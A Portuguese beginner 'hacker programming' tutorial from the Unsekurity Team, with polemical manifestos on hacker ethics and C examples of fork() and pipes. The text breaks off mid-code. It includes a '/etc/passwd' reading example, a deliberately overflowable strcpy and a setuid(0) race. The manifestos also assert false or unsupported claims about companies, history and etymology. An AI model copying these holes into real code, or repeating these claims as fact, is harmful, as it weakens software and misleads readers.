############################################################################# ############################## UNSEKURITY TEAM ############################## ############################################################################# Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Thanks Unsekurity Team. Este e outros tutoriais podem ser obtidos em: http://unsekurity.virtualave.net/ OBS: Nao nos responsabilizamos pelas informacoes aqui contidas, bem como do mau uso dos exemplos e dados aqui fornecidos.Todo material disponivel neste arquivo possui somente propositos educacionais. OBS2: Isso aqui nao eh um zine, nem pretende se tornar.Trata-se apenas de um tutorial basico voltado para o pessoal NewBie, se voce eh 'elite', por favor, nao leia! Voce nao encontrarah informacoes uteis aqui. *************************************** * PROGRAMACAO BASICA PARA FUCADORES * *************************************** ------------------------------- INDICE ---------------------------------- 1. INTRODUCAO 2. MANIFESTOS 2.1. - A confusao dos Termos 2.2. - A Comunidade de Seguranca e Voce 2.3. - Codigo Aberto x Codigo Fechado 2.4. - O Lucro com o Hacking 3. INTRODUCAO A IPC (InterProcess Comunication) 3.1. - Porque Aprender sobre IPC 3.2. - fork() 3.3. - Pipes 3.4. - Signals 4. Problemas Simples de Seguranca 4.1. - popen() + Environment 4.2. - Problemas com system() 4.3. - Problemas com Shell Scripts 4.4. - Chamadas Para vi 4.5. - Problemas com File Descriptors 5. LKM (Loadable Kernel Modules) 5.1. - Para que Aprender a Escrever LKMs 5.2. - Carregando e Descarregando um LKM 5.3. - Duas Funcoes Minimas 5.4. - Systemcalls 5.5. - Kernel-Symbols-Table 5.6. - Transformando Memoria do Kernel Space p/ User Space 5.7. - Meios de Usar User Space como Funcoes 5.8. - Lista de Funcoes usadas em Kernel Space 5.9. - O que eh um Kernel Daemon 5.10. - Criando Seu Proprio Device 5.11. - Alguns Macros 5.12. - Esquemas para Fucadores 6. Shared Library 6.1. - O que sao 6.2. - Algumas Funcoes 6.3. - Tecnica de Redirecionamento 6.4. - Outros Esquemas 7. TERMINANDO 7.1. Links e Referencias 7.2. Consideracoes Finais ------------------------------------------------------------------------- --------------- 1 - INTRODUCAO | --------------- Demorou, mais aih estah a uniao de varios topicos de programacao relacionados ao mundo fucador.Topicos basicos, mas que requerem conhecimentos em C e Linux. Resolvi incorporar a este tutorial uma parte com manifestos sobre varios temas, nao pretendo despertar odio com isso e sim, abrir a discussao em torno de alguns pontos 'nao-tecnicos' que envolvem o mundo do fucador.Cada item do tutorial tem como alvo os mesmo leitores dos tutoriais anteriores, ou seja, Fucadores NewBies. Fica avisado novamente que se voce eh 'elite' nao acharah nada util neste tutorial. ---------------- 2. - MANIFESTOS | ---------------- OBSERVACAO: OS PENSAMENTOS EXPRESSOS NESTE ITEM SAO DE MINHA AUTORIA, SAO DE MINHA PESSOA.O UNSEKURITY TEAM DAH AOS SEUS MEMBROS A LIBERDADE PARA SE EXPRESSAR DA MANEIRA QUE BEM ENTENDER.NO ENTANTO, CADA MEMBRO POSSUI SEU PROPRIO MODO DE VER AS COISAS. AS COISAS QUE ESCREVO AQUI NAO SAO COMPARTILHADAS POR TODOS DO UNSEKURITY TEAM, E A RESPONSABILIDADE PELAS LINHAS QUE SE ENCONTRAM NESTE ITEM CABE A MINHA PESSOA, NASH LEON, ESTANDO DESDE JAH CLARO QUE EH UMA ATITUDE ISOLADA! AVISO AO LEITOR QUE ELE NAO DEVE JULGAR O UNSEKURITY TEAM ATRAVES DAS PALAVRAS E PENSAMENTOS DE UM SOH MEMBRO. "Conhecereis a verdade e ela vos libertarah" "De que adianta ter um excelente conhecimento tecnico sobre o hacking, mas seguir por caminhos detestaveis pela comunidade hacker???".O que quero nesta parte eh compartilhar um pouco da minha opiniao sobre alguns assuntos nao-tecnicos, mas que envolvem o mundo do fucador.Nao adianta nada eu escrever 2 mil linhas de textos tecnicos para um cara se tornar cracker ou ser moldado como um fantoche de grandes empresas porque nao foi bem informado! Se nao tivermos o minimo de senso critico, certamente seremos facilmente enganados por esta corja que aih se encontra.Vou dizer o que penso sobre determinados temas, mas o intuito aqui eh fazer voce pensar sobre eles usando seu proprio senso critico e buscando a verdade atras do fatos.Se pergunte sobre os porques, levante duvidas, raciocine! Meus txts ganharam a abrangencia que eu desejava, mas de nada adiantarah expandir os conhecimentos tecnicos se nao puder dar a conhecer alguns pensamentos 'eticos'.Se esta parte te interessa recomendo a voce le-la com bastante calma, sendo critico e procurando ver o que estah por tras de cada afirmacao! Se voce pensa igual ou diferente, nao importa! Eu quero apenas que voce pense! Seja Critico!! 2.1. - A confusao dos Termos ----------------------------- O que eh ser hacker afinal?? O que eh ser um fucador??? A midia, como em tudo, demonstra ignorancia quanto a verdade, alienando mais e mais pessoas.A parte podre da comunidade de seguranca nao pensa em outra coisa a nao ser 'sujar' a definicao ao maximo.E voce, sabe o que eh ser um hacker??? A origem do termo hacker remonta aos primordios da revolucao tecnologica. Na verdade, se for levar ao peh da letra, os hackers derivam dos phreaks, que se originaram nos primordios da invencao do Telefone.Mas no entanto, o termo soh veio se popularizar depois que os phreaks comecaram a se difundir em larga escala, isso se deu no inicio da decada de 70, mais ou menos.A inspiracao maior no mundo 'phreak' deu inicio com john draper vulgo Capitao Crunch, ele descobriu um metodo de fazer ligacoes gratuitas usando um apito que vinha numa caixa de cereais.A popularizacao desta tecnica levou dois jovens inescrupulosos a automatizarem o processo, criando as famosas RED BOX, esses dois individuos se chamam Steve Jobs e Steve Wosniak(Ambos fundadores da APPLE).Desde entao houve um crescimento consideravel das tecnicas e meios de manipular o sistema Telefonico americano.Enquanto os phreaks cresciam em numero e conhecimentos, no MIT(Instituto Tecnologico de Massachussets), estudantes arrombaravam salas de informatica a noite para poderem aprender mais sobre os carissimos Sistemas de Computadores.A palavra hacker em ingles significa 'machado de duas pontas', muito provavelmente eles usavam isso para quebrarem os cadeados, ou o proprio comportamento deles se assemelhava a isso.Eles queriam obter conhecimentos a qualquer custo.O conceito 'hacker' expandiu, ou seja, varias pessoas queriam dominar um conhecimento cada vez maior sobre algo, nao importando os meios que usassem.'A busca pelo conhecimento eh uma atividade basica do ser humano', logo nao deve ser repelida.Durante a decada de 80 muita coisa aconteceu no cenario hacker- phreak, levando desde perseguicao, criacao de leis rigorosas ateh uma maior compreensao de algumas entidades e a criacao de varias 'entidades' de defesa dos ideais e interesse dos hackers... O que chamo aqui de entidade, nao eh nada relacionado ao que conhecemos por entidade, eh mais alem, algumas delas eh fundamental um fucador conhecer, como a Eletronic Frountier Foundation(EFF), a 2600(o quartel general hacker), e etc. Se voce for buscar a verdade bem no fundo verah que quase tudo relacionado a informatica hoje em dia teve uma colaboracao maior de hackers.Internet, PC, Softwares Gratuitos, enfim os hackers se expandiram em todos os segmentos da informatica aprimorando-os sempre.A relacao do hacker e do phreak eh mais alem, no inicio os phreaks lutavam contra as grandes companhias telefonicas, as grandes corporacoes e os governos, nao possuiam nacionalidade e nao defendiam uma etnia, eram livres e os unicos 'inimigos' era justamente esses jah citados.Invadiam sistemas telefonicos, ensinavam truques para se fazer ligacao gratuita, etc.. Os hackers tambem trilharam o mesmo caminho unido forcas e lutando pelos mesmos ideiais, desafiando os mesmos inimigos e divulgando o que consideravam a sua maior bandeira: "A LIBERDADE DE INFORMACAO", isto culminou em 1984 com a criacao do projeto GNU, criado por um hacker.Desde jah fica evidente que um hacker nao trabalha para grandes corporacoes ou empresas sem escrupulos(Microsoft, Conectiva, Sun, Apple, Intel e etc).. Sim, os hackers lutavam contra empresas deste tipo e continuam lutando!! Mas eles(os inimigos) tem os meios de comunicacao, possuem os governos em suas maos, entao logo veio a retaliacao,e uma verdadeira caca as bruxas ocorreu no Estados Unidos em 1990/1991,batizada de Operacao SunDevil, muita gente inocente foi presa e vidas foram acabadas. No brasil, somente na decada de 90 veio a ocorrer uma maior divulgacao do termo hacker e da etica hacker, o zine 'Barata eletrica' de Denerval Cunha foi e tem sido quem mais expandiu o que representa a etica hacker e a 'cultura' pregada pelo hacking.Este zine eh leitura obrigatoria para qualquer fucador etico! Os termos hoje em dia estao confusos, muita gente prefere nao ser considerado como hacker pois pode ser banalizado ou mesmo prejudicado, a ofensiva dos 'inimigos' foi grande, e os verdadeiros hackers tem sofrido na pele a consequencia desta 'guerra'! Ainda ha muito para ser feito, muita gente possui total ignorancia quanto aos termos, mas o que devemos sempre deixar claro eh que hacker nao eh cracker, e que a Comunidade de Seguranca nao eh, nunca foi, e nunca vai ser aliada dos hackers, eles fazem parte do sistema!!! Sabemos que existe gente seria na Seguranca, eh o que chamamos de 'parte boa' da Seguranca, no entando a maioria nao o eh, eh o que chamamos de 'BANDA PODRE!'. Um hacker nao muda home page ou destroi um sistema, quem faz isso sao kiddies ou lamers, sejamos bem evidentes nisso!!! Mesmo que chamem para questoes ideologicas, nao faz parte do hacking qualquer ideologia NACIONALISTA!! A Comunidade hacker eh uma soh, assim como as grandes corporacoes o sao, ou voce acha que a Microsoft Brasil e melhor, mais legal, mais escrupulosa do que a Microsoft USA?? Quanto aos crackers, eles tem levado vantagem em tudo, com o termo hacker derrubado, com hackers de verdade sendo perseguidos, esses crackers tem vencido a batalha..A comunidade de seguranca nunca foi competente o bastante, os hackers ajudam, mas 'a banda podre' nao ve com bons olhos, termina os crackers se dando bem e os hackers e os usuarios normais saindo prejudicados. Agora eu te pergunto, a comunidade de seguranca ganha ou perde com os crackers??? Ao meu ver eles ganham, por isso, ao meu ver, Crackers e Banda Podre da Comunidade de Seguranca sao um soh!!! Abra os olhos, a verdade tah procurando voce!!! 2.2. - A Comunidade de Seguranca e Voce ------------------------------------------ Temos que saber diferenciar o que estah por tras.No item anterior eu falei sobre dois lados da Comunidade de Seguranca, a banda podre e a "parte boa" (parte boa entre aspas). Se voce eh um fucador experiente certamente sabe mais coisas sobre isto do que eu, mas falarei um pouco do que eu acho, para que os mais novos possam levantar criticas. Podemos dividir a comunidade de Seguranca em 4 grupos, vejamos abaixo: * OS DESINFORMADOS ------------------- Estes sao aqueles que nao conhecem o que eh hacker, nem o que eh cracker. Nao conhecem a historia da informatica, nao sabem a origem da Seguranca de Sistemas Informatizados, e sao 'moldados' pela banda podre da comunidade de seguranca e pela midia.Na grande maioria sao estudantes universitarios ou recem formados que partiram para a Seguranca porque eh o que mais dah dinheiro hoje em dia, se desse mais dinheiro mexer com outra coisa, eles estariam lah com certeza.Nao possuem a paixao pelo que fazem e odeiam os hackers puramente porque foram 'ensinados' a odiarem. Esta eh a parte mais inofensiva que existe, e a unica que ainda pode ser 'ganha' para a causa, ou seja, ainda podemos mudar a opniao deles quanto ao termo hacker.Necessitam de ajuda, pois nao possuem a malicia, e nao conhecem a capacidade de um cracker. * OS MEDROSOS -------------- Essa eh uma 'classe' esquisita da Comunidade de Seguranca.Sao pessoas que sabem diferenciar os termos crackers e hackers, simpatizam com as ideologias dos hackers, conseguem ver a beleza da etica, no entanto temem! Temem perderem seus empregos para hackers com maiores conhecimentos! Temem perderem seus empregos se defenderem os hackers em alguma situacao!!Temem!! Na maioria sao pessoas com bons conhecimentos tecnicos, mas trabalhando em empresas erradas! Costumam ficarem quietos, nao opinando em quase nada fora do 'assunto tecnico'.Alguns possuem uma vontade de libertar o espirito hacker de dentro dele, mas algo nao permite, temem morrerem de fome por defenderem a causa hacker, temem muitas outras coisas, por isso sao considerados como os medrosos!! * A BANDA PODRE ---------------- A banda podre eh bem ramificada.Na grande maioria sao altos funcionarios de grandes empresas(Microsoft, NAI,Norton, etc), que detonam o termo hacker porque os hackers sao os unicos que os denunciam.Sao esses que se alegram quando um cracker consegue fazer algo grandioso pois eles irao lucrar vendendo mais seus produtos e servicos.Defendem com unhas e dentes os produtos que comercializam, mesmo chegando as vezes a falarem 'loucuras' para poderem enganar os que nao enxergam o que estah por tras dos seus interesses.Alguns fabricam virus, colocam a culpa nos hackers(hackers nao publicam virus) e depois vendem antitodos e antivirus para combaterem a praga que eles mesmo criaram.Outras empresas se unem a governos e fraudam o processo elitoral para que um determinado 'candidato' venca para depois assinar um contrato milionario com a empresa.Essas pessoas representam aquelas grandes corporacoes que vimos no item anterior, e elas eh quem devemos denunciar! * A PARTE BOA -------------- A parte boa eh representada por alguns membros(menos de 0,01%) da Comunidade de Seguranca que acreditam nos ideiais hackers, divulgam o sentido dos termos, ajudam hackers quando perseguidos, se aliam a hackers para denunciar problemas com a 'banda podre' e as empresas representadas por esta 'banda podre', e principalmente lutam pela seguranca por usuarios comuns.Essa parte boa goza de um prestigio grande na Comunidade Hacker e sao sempre bem quistos.Alguns abandonam a Comunidade de Seguranca e passam a fazer frente na Comunidade Hacker, outros acreditam que estar na Comunidade de Seguranca serve como estrategia para 'derrubar' as corporacoes inescrupulosas e a 'parte podre'.Esses profissionais possuem o meu total respeito e consideracao. Agora que voce sabe quem eh quem, abra os olhos para nao ser ludibriado. Cuidado com 'as raposas vestidas de cordeiros'.Fique atento sempre!! Seja Critico! 2.3. - Codigo Aberto x Codigo Fechado -------------------------------------- Essa discussao vem ganhando ambito, principalmente no que se pode chamar de 'guerra' entre Windows e Linux.O que voce acha mano, codigo fonte aberto eh mais seguro do que fechado?? Para um hacker o que eh melhor?? Irei expor minha opiniao sobre isso, analise voce mesmo e tire suas conclusoes. O codigo aberto nada mais eh do que a exposicao total dos codigos fontes que serao usados por determinada aplicacao ou programa.Essa filosofia ganhou forca apos a criacao do projeto GNU que tornava livre os softwares. Muitos sistemas adotam esta filosofia, inclusive o Sistema Operacional OPENBSD considerado atualmente como o sistema operacional mais seguro que existe.Esse exemplo por sih soh jah mostra que o codigo fonte aberto eh algo bom para a seguranca de um Sistema Operacional.A guerra que vem sendo travada no momento eh Linux x Windows, e nao OpenBSD x Windows, consegue entender?? A Microsoft tem perdido fatia no mercado para o Linux, entao ela precisa atacar o Linux de alguma forma e o alvo escolhido foi o conceito 'Codigo Fonte Aberto'.Para um hacker o que eh melhor, aberto ou fechado???E para um cracker?? Por que pessoas defendem o codigo fonte fechado?? Respostas a essas perguntas seguem abaixo: + Para um hacker, o que eh melhor em busca de 'LIBERDADE DE INFORMACAO' e a seguranca dos usuarios comuns, eh o melhor para ele.No primeiro ponto, o codigo fonte aberto proporciona um maior intercambio, maior troca de informacoes, uma evolucao maior no aprendizado da informatica.Com o codigo fonte aberto varios usuarios podem opinar, melhorar o programa, apontar erros e solucoes, podem 'personalizar' o sistema.A seguranca tende a aumentar, pois muita gente estarah analisando os codigos, seja em busca de bugs ateh backdoors,para o usuario comum isto eh lucro! Entao o codigo fonte aberto soh traz beneficios, logo, um hacker defende o aumento deste conceito, pois todos tem a ganhar, exceto os inimigos dos hackers, que vimos anteriormente, pois eles sobrevivem no ocultismo. + Para um cracker o software aberto eh uma barreira.Torna a longo prazo, mais dificil dele penetrar nos sistemas, e a instalacao de backdoors e virus passa a ser infinitamente mais visivel que num codigo fechado.A troca de informacoes prejudica a acao de crackers, pois uma tecnica que ele domina hoje eh mais rapidamente combatida com a troca de informacoes, jah que a solucao nao estarah somente nas maos de 1 unica empresa.Nao se iluda amigo, os crackers hoje em dia possuem conhecimentos maiores que a atual Comunidade de Seguranca! + Mas vemos pessoas defenderem o uso de softwares com codigo fonte fechado! Nao podemos generalizar, mas nesse ponto, ao meu ver, as pessoas que defendem o uso de software de codigo fechado podem ser divididas em dois grupos.Sao eles: * Os Desinformados -> Falta conhecimentos sobre tecnicas usadas por crackers e nao conhecem nem mesmo as estatisticas divulgadas de invasoes.Acham que crackers nao possuem conhecimentos superiores aos deles e creem que uma forma de barrar a acao dos crackers eh justamente limitar a 'liberdade de informacao'.Chegam ao cumulo de acharem que crackers aprendem atraves de mail list como bugtraq!! Crackers e Hackers estao ha alguns passos do que eles consideram 'conhecimento tecnico avancado' de pratica de seguranca.A grande maioria dessas pessoas obedecem ao ego e por isso possuem sua parte de culpa 'no crescimento dos crimes de informatica'. * Os Inescrupulosos -> Esses sao os que defendem pensando em interesse proprio.Nao se importa com o usuario comum e defendem o codigo fonte fechado porque trabalham para empresas que usam codigo fonte fechado! Sao pessoas inescrupulosas, pois conhecem a verdade, mas defendem a mentira unicamente para obterem vantagens pessoais.Pregam a obscuridade em tudo, ou seja, jamais ensinam o que aprenderam(olha que na maioria das vezes eles aprendem com hackers!).Temem que um maior crescimento da conciencia de software livre e liberdade de informacao possam deixa-los desempregados.Sao pessoas capazes de fazerem coisas 'monstruosas' para defenderem seus lucros, inclusive injetarem backdoors nos seus produtos a mando de um governo qualquer(vide chave NSA). Eh bastante comum em mail lists aparecem mensagens de pessoas que defendem o codigo fonte fechado.Muita discussao rola sobre isso, mas amigo, o pessoal mais velho jah conhece muito bem essas figuras.Nao perca seu tempo discutindo em mail lists, o que eu tenho visto ultimamente, eh um monte de gente defendendo empresas sem escrupulos(Microsoft,SUN, Red Hat, Conectiva, etc, etc e etc) por interesses proprios.Nao se preocupe, pois qualquer um com conhecimentos basicos de informatica sabe que essas empresas nao sao boas na parte tecnica e pessimas na parte etica.E alem de tudo, a verdade eh uma soh e ela se manifesta no tempo apropriado! 2.4. - O Lucro com o Hacking ----------------------------- Livros, revistas, jornais, filmes,patrocinios em home pages e etc.. Atualmente falar sobre hackers eh alvo rentavel, existem dezenas de livros que vendem 'tecnicas milagrosas' para se invadir redes como a do pentagono. Existem sites que esbanjam o nome 'HACKER' em atividades criminosas em busca de obter retorno de investimento.Membros da parte podre da comunidade de seguranca dando cursos e mais cursos visando nada mais nada menos do que formulas de como se livrar dos hackers.Jornalistas inescrupulosos atras de 'ibope' e ascensao meteorica na carreira entrevistando criminosos e criancas que se dizem hackers.Essas pessoas sao despreziveis, sua essencia eh desprezivel. O hacking eh maior do que tudo isto, a beleza do hacking nao pode ser comercializada, pois pouca gente conseguiria visualizar a leveza e grandiosidade que envolve a etica hacker.As pessoas hoje em dia buscam lucro em tudo que se pode imaginar, e o hacking nao eh diferente. Quanto mais catastrofico o cenario, melhor para essas pessoas, no entanto, o hacking tem superado isto tudo e permanece vivo apos todas essas sucessivas 'difamacoes'.Temos pessoas ainda hoje em dia que contemplam a verdade e buscam viver a verdade.Nenhuma riqueza no mundo eh capaz de alegrar o coracao de um fucador como o hacking etico consegue fazer. Mesmo com toda essa 'sujeira' ainda existe uma esperanca e eh por isso que escrevo.O hacking puro eh capaz de mudar mentalidades e fazer transparecer a verdade, verdade estah que estah oculta aos olhos da maioria das pessoas.A etica hacker eh capaz de nos ensinar valores morais que toda a sociedade se alegraria em ver! O hacker nao eh nacionalista,ele busca a paz, nao eh ganancioso e nem capitalista, ele eh democratico, eh sincero, eh verdadeiro.Um hacker eh um sonhador, eh um revolucionario, eh um co-irmao de todos os oprimidos e discriminados.Um hacker eh justo e fiel, se apega a seus principios e morre defendendo eles.A etica hacker estah alem de uma pessoa soh, estah alem de uma comunidade soh ou de um pensamento soh! A essencia do hacker eh a liberdade! Liberdade esta verdadeira, nao a pregada por governos. Um hacker eh um guerreiro, um guerreiro em fase de extincao! Este eh o meu pensamento sobre esses assuntos.Tem muito mais coisas para se discutir.A etica hacker nao eh um pensamento de um soh homem.Existem bons textos que divulgam 'a etica hacker em sua essencia', recomendo a leitura do zine Barata Eletrica, lah voce poderah encontrar informacoes valiosissimas! Estou aberto a discussao e a receber opinioes sobre esses assuntos, meu e-mail estah a disposicao. Seja critico nas coisas que eu escrevi, pergunte a sih mesmo se o que escrevi eh verdade, se essas coisas sao assim mesmo, busque voce mesmo formar a sua opiniao a respeito desses assuntos, nao deixe nunca alguem "escravizar a sua mente".As dificuldades da vida sao muitas, e pessoas mudam... Mas os feitos permanecem, e se conseguir enxergar os feitos, verah a grandiosidade ou a monstruosidade das pessoas! HACK THE PLANET!!!! ------------------------------------------------ 3. INTRODUCAO A IPC (InterProcess Comunication) | ------------------------------------------------ Alguns topicos descritos aqui requerem conhecimentos basicos de C e Linux. Mais uma vez teclo numa tecla, descreverei somente o basico de IPC, se voce jah sabe tudo, nao perca seu tempo, algo mais completo sobre este item, em breve estarah disponivel, aguarde! 3.1. - Porque Aprender sobre IPC --------------------------------- Sem sombra de duvidas, um fucador quer aprender tudo que possa um dia vir a ser util para o mesmo.Sao tantas as coisas para se aprender, que hoje em dia eh muito dificil um soh fucador obter conhecimentos sobre todas as tecnicas e artimanhas que rondam o "mundo virtual" de um fucador, pode-se ateh considerar isto como "quase" 'impossivel', mas nesse mundo virtual, nada deve ser considerado como sendo impossivel.IPC eh uma parte da programacao que se refere a escrita de programas que se comunicam, como assim se comunicam? Esses programas podem ser descritos como programas que se interagem, seja no seu funcionamento normal(Exemplo: Cliente/Servidor) ou numa simples chamada de execucao de um programa por outro(Exemplo: Usar execl num programa qualquer).Um exemplo bastante util de IPC sao os sockets,porque seus processos se comunicam, eh por isso que programacao de sockets eh considerado como sendo uma das inumeras ramificacoes de IPC. Outro exemplo simples de IPC encontra-se na execucao de exploits para buffer overflows, e eis aih o principal motivo para aprendermos sobre IPC. Mas alem de exploits p/ overflows, IPC pode ser utilizado por um fucador para varios objetivos, pois melhora consideravelmente as solucoes para eventuais problemas, alguns exemplos de programas sao melhores construidos e executados com o uso de IPC sao: Sniffers, Programas que agem com multiplexacao de Entrada e Saida(TTY HIJACKING), Craqueadores (Desencriptadores), Scanners(Multiplas entradas e saidas, tambem multiplos sockets) e etc.Enfim, sao varios as possiveis utilizacoes dessa tecnica de programacao por parte de fucadores.Irei descrever algumas delas, coisas basicas, nao quero entrar em conceitos mais complexos e muito menos em tecnicas de algoritmos mais complexas e eficientes, tentarei ser o mais pratico possivel. 3.2. - fork() -------------- Para que possamos entender bem uma interacao entre processos, eh necessario que saibamos o que eh um processo pai e um processo filho.O Linux nos permite a interecao de mais de um programa usando um processo superior, ou seja, voce executa apenas um programa e ele irah executar varios, ou interagir com varios, executar diversas acoes, e etc atraves da criacao de processos inferiores(filhos) que se interligam ao processo superior(pai). Um meio de se fazer isso eh atraves da funcao fork().Ela eh responsavel pela criacao de um processo filho. O que a funcao fork() faz eh somente criar um processo filho.Sua sintaxe segue abaixo: #include pid_t fork(void); Vamos analisar o exemplo abaixo do uso da funcao fork(). ------------------------------ fork1.c --------------------------------- #include #include #include #include main(){ pid_t pid; int rv; switch(pid=fork()) { case -1: perror("fork"); exit(1); case 0: printf("FILHO: Eu sou o processo filho!\n"); printf("FILHO: Meu PID eh %d\n", getpid()); printf("FILHO: O PID do meu pai eh %d\n", getppid()); printf("FILHO: Digite o meu status de saida(numero pequeno): "); scanf(" %d", &rv); printf("FILHO: Vou sair com meu pai!\n\n"); exit(rv); default: printf("PAI: Eu sou o processo pai!\n"); printf("PAI: Meu PID eh %d\n", getpid()); printf("PAI: O PID do meu filho eh %d\n", pid); printf("PAI: Eu estou agora esperando pelo meu filho para sair...\n\n"); wait(&rv); printf("PAI: Status de saida do meu filho eh: %d\n",WEXITSTATUS(rv)); printf("PAI: Estamos saindo daqui!\n\n"); } return 0; } --------------------------------------------------------------------------- Compile o exemplo acima e execute-o.Abra outro console e quando ele pedir para voce digitar o status para saida, no outro console voce digita 'ps aux', vejamos: + Num Console: $ ./fork1 PAI: Eu sou o processo pai! PAI: Meu PID eh 204 PAI: O PID do meu filho eh 205 PAI: Eu estou agora esperando pelo meu filho para sair... FILHO: Eu sou o processo filho! FILHO: Meu PID eh 205 FILHO: O PID do meu pai eh 204 FILHO: Digite o meu status de saida(numero pequeno): + No outro Console: $ ps aux ... nashleon 204 0.0 3.4 1028 356 tty3 S 10:53 0:00 ./fork1 nashleon 205 0.0 3.6 1032 376 tty3 S 10:53 0:00 ./fork1 nashleon 206 0.0 9.5 2612 972 tty4 R 10:54 0:00 ps aux Note que realmente eh criado um processo filho(205).Vejamos outro exemplo para que voce possa ir vendo na pratica o uso de fork(). ------------------------------- fork2.c --------------------------------- #include #include int algo(); main(){ char opcao[2]; printf("\n**** MENU DE ACOES ****\n\n"); printf("1 - Executar Algo ; 2 - Sair\n\n"); printf("Digite a opcao desejada: "); scanf("%1s",opcao); if(!strcmp(opcao,"1")){ algo(); exit(0); } if(!strcmp(opcao,"2")){ printf("Saindo..\n"); exit(0); } printf("Opcao Errada!!\n"); return 0; } int algo(){ printf("Preparando para registrar tentativa de login mal sucedida...\n"); usleep(1000000); if(!fork()){ /* Soh para ilustrar algumas possibilidades */ setuid(0); printf("Analisando registro de logs!!\n"); printf("Atualizando Daemon!!\n"); printf("Usuario logado no sistema!!\n"); exit(0); } setuid(getuid()); usleep(1000000); printf("Daemon Rodando Normalmente!!\n"); return 0; } ------------------------------------------------------------------------- Este programa eh apenas ilustrativo, pode-se contemplar um problema de race condition nele.O importante eh notarmos que ele cria um processo filho para executar uma tarefa enquanto o processo pai fica "esperando", entre aspas, pois ele nao espera uma respostas do processo filho para dar continuidade a execucao de sua tarefa, no exemplo anterior havia uma interacao entre os processos, neste exemplo acima, na verdade nao existe. Milhares de programas sao criados usando fork(), mais abaixo,na parte de problemas com File Descriptores voce poderah saber mais sobre algumas tecnicas usadas por fucadores em cima disso. 3.3. - Pipes ------------- Qualquer usuario de sistemas Linux(DOS tem tambem) sabe o que eh o pipe symbol(|) e o que ele faz.Pode-se dizer que o pipe symbol eh responsavel pela execucao de uma Comunicacao entre Processos, executando algumas vezes dois ou mais processos ao mesmo tempo.Vejamos um simples exemplo disso: [localhost:]# cat /etc/passwd | grep 'adm' adm:x:3:4:adm:/var/log: No exemplo acima podemos notar a Interacao entre os processos.Existem inumeros possiveis exemplos de uso de um pipe symbol em Linux, mas esse topico(pipes) eh bem mais amplo. Um programa em C eh capaz de executar Interacoes entre Processos como o exemplo acima citado, sendo que na linha de comando do Linux existe uma restricao muito grande, coisa que eh sanada com a escrita de programas em C que usam pipes.Veremos abaixo como criar programas desse tipo. 3.2.1 - Criando Pipes em C --------------------------- Antes de comecarmos, qualquer duvida referente a qualquer funcao deve antes de mais nada tentar ser solucionada via man pages.As man pages, assim como qualquer documentacao no Linux, ajudam sempre o usuario na solucao de problemas, se todos lessem as man pages, com certeza nao teriamos tanto lixo nas nossas contas de e-mails vindo de mail lists. Veremos como fazer dois ou mais processos se comunicarem via pipe: * Primeiro abrimos um pipe.O Linux permite dois meios de se abrir um pipe, sao eles via: + popen() -> FILE *popen(char *comando, char *tipo) Cria um pipe para I/O(Entrada e/ou Saida) onde o "comando" eh o processo que se conectarah(comunicarah) com o outro processo chamada pela criacao do pipe.O tipo pode ser "r" para leitura ou "w" para escrita. Um pipe aberto por popen() deve ser fechado por pclose(FILE *stream). Usamos fprintf() e fscanf() para se comunicar com o stream do pipe. Vejamos um exemplo abaixo: --------------------------------recebe.c------------------------------- /* PROGRAMA QUE IRAH SERVIR DE EXEMPLO PARA IPC VIA POPEN() */ #include #include #include #include main(){ char buffer[10],buffer2[20]; printf("Digite seu nome: "); scanf("%s",buffer2); strcpy(buffer,buffer2); printf("Seja bem vindo %s.\n",buffer); } ------------------------------------------------------------------------- Compile o programa acima, ele irah servir de exemplo para nosso programa IPC que irah se comunicar com este programa acima. -------------------------------envia1.c---------------------------------- /* Simples Exemplo de PIPE via popen(). */ #include #include #include FILE *alvo; main(){ char *string = "HACKER"; alvo = popen("./recebe","w"); /* Cria arquivo pipe */ fprintf(alvo,"%s",string); /* Envia string para Programa */ pclose(alvo); /* Fechar Arquivo Pipe */ printf("\nArquivo Executado com Sucesso!\n"); return 0; } ------------------------------------------------------------------------- Aih estah um exemplo de pipe via popen().Veja a Interacao entre os dois programas acima.Este eh um exemplo simples, nao se preocupe como o modo com que os dados sairam na tela. Como podemos notar, existe uma semelhanca muito grande entre manipular um pipe criado via popen e manipular(ler e/ou escrever) um arquivo via fopen(). Mas lembrando, existem diferencas e devemos ter em mente que sao situacoes diferentes, voce verah isso mais abaixo.Vejamos agora o outro metodo para se criar um pipe: + pipe() -> int pipe(int fd[2]) Cria um pipe e retorna dois arquivos descritors(file descriptors), fd[0], fd[1].fd[0] eh aberto para leitura e fd[1] para escrita.O modelo de programacao padrao eh que apos o pipe ter sido setado, dois ou mais processos cooperativos irao ser criados por um fork() e dados serao tranferidos usando read() e write(). Um pipe aberto com pipe() deve ser fechado usando close(int fd). Abaixo segue um exemplo de um programa que cria um pipe por este metodo: ----------------------------- pipefd1.c ------------------------------ #include #include #include main() { int pfds[2]; char buf[30]; if (pipe(pfds) == -1) { perror("pipe"); exit(1); } printf("Escrevendo do File Descriptor #%d\n", pfds[1]); write(pfds[1], "HACKER", 7); printf("Lendo do File Descrriptor #%d\n", pfds[0]); read(pfds[0], buf, 7); printf("File Descriptor #%d escreveu: \"%s\"\n",pfds[1], buf); } ------------------------------------------------------------------------ Note que um File Descriptor envia dados para outro.Como foi dito, pfds[0] eh o File Descriptor de Recebimento ou de Leitura, e o pfds[1] eh o File Descriptor de Envio ou de Escrita.Vejamos o exemplo abaixo com o uso de fork(); ----------------------------- pipefd2.c -------------------------------- #include #include #include #include main() { int pfds[2]; char buf[30]; pipe(pfds); /* Cria o pipe */ if (!fork()) { /* Cria um processo filho */ printf(" FILHO: escrevendo para o pipe\n"); write(pfds[1], "test", 5); /* Escreve para pfds[1] */ printf(" FILHO: saindo\n"); exit(0); } else { printf("PAI: Lendo do pipe\n"); read(pfds[0], buf, 5); /* le de pfds[0] */ printf("PAI: \"%s\" lido\n", buf); wait(NULL); } } ----------------------------------------------------------------------- Executando este programa a sua saide deve ser: $ ./pipefd2 PAI: Lendo do pipe FILHO: escrevendo para o pipe FILHO: saindo PAI: "test" lido Como podemos ver, nao tem muito segredo, na interacao usando pipe() e fork().Tenhamos em mente que um File Descriptor eh para escrita e o outro para leitura. Veremos agora o uso de pipe() em um processo conhecido, por exemplo, o que vimos acima: "cat /etc/passwd | grep 'adm'"; Usando o mesmo metodo descrito acima, estamos habilitados a executar interacoes deste tipo. ------------------------------ pipefd4.c -------------------------------- #include #include #include int main(){ int pfds[2]; char arquivo[20], usuario[20]; strcpy(arquivo,"/etc/passwd"); sprintf(usuario,"adm"); pipe(pfds); if (!fork()) { close(1); /* Fecha Saida 